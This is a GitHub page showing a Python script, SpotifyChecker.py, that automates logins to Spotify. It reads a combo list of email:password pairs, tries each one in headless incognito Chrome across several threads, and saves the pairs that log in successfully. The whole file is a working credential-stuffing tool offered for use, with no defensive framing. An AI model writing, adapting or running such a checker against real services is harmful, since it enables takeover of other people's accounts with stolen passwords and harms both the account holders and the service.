-
Notifications
You must be signed in to change notification settings - Fork 17
Expand file tree
/
Copy pathSpotifyChecker.py
More file actions
99 lines (67 loc) · 2.41 KB
/
SpotifyChecker.py
File metadata and controls
99 lines (67 loc) · 2.41 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import threading, time, datetime, os
from selenium import webdriver
from selenium.webdriver.common.by import By
from colorama import Fore, Back
import colorama
# <==== Configs ====>
MAX_THREADS = 5
CURRENT_THREADS = 0
COMBO_PATH = 'accounts.txt'
RESULTS_FILE_NAME = f'results/results-{datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S")}.txt'
colorama.init(autoreset=True)
options = webdriver.ChromeOptions()
options.add_argument("--headless")
options.add_argument("--disable-gpu")
options.add_argument("--incognito")
options.add_argument('--disable-extensions')
options.add_experimental_option('excludeSwitches', ['enable-logging'])
url = 'https://accounts.spotify.com/pt-BR/login' # 'pt-BR' = brazilian link ⚽
# <==== Configs ====>
if not os.path.exists('results'):
os.mkdir('results')
with open(COMBO_PATH, 'r') as file:
accounts = file.read().split('\n')
for i in accounts:
if i == "":
accounts.remove(i)
def check_account(account):
global CURRENT_THREADS
CURRENT_THREADS += 1
driver = webdriver.Chrome(options=options)
driver.get(url)
driver.implicitly_wait(30)
email, password = account.split(':')
# login process
driver.find_element(By.CSS_SELECTOR, '#login-username').send_keys(email)
driver.find_element(By.CSS_SELECTOR, '#login-password').send_keys(password)
driver.find_element(By.CSS_SELECTOR, '#login-button').click()
# login process
time.sleep(1.7)
# valid
if driver.current_url == "https://accounts.spotify.com/pt-BR/status":
print(f"{Fore.BLACK}{Back.GREEN}[VALID]{Back.RESET}{Fore.RESET} {email}:{password}")
with open(RESULTS_FILE_NAME, 'a') as file:
file.write(f"{email}:{password}\n")
CURRENT_THREADS -= 1
driver.close()
return
# invalid
print(f"{Fore.BLACK}{Back.RED}[INVALID]{Back.RESET}{Fore.RESET} {email}:{password}")
time.sleep(0.5)
CURRENT_THREADS -= 1
driver.close()
print(f"Running {MAX_THREADS} threads...\n")
for acc in accounts:
while True:
if CURRENT_THREADS == 5:
time.sleep(0.5)
continue
break
threading.Thread(target=check_account, args=(acc,)).start()
time.sleep(0.5)
while True:
if CURRENT_THREADS == 0:
print(f'\nYour accounts were saved in "{RESULTS_FILE_NAME}"\n')
break
time.sleep(1)
input("Press enter to exit")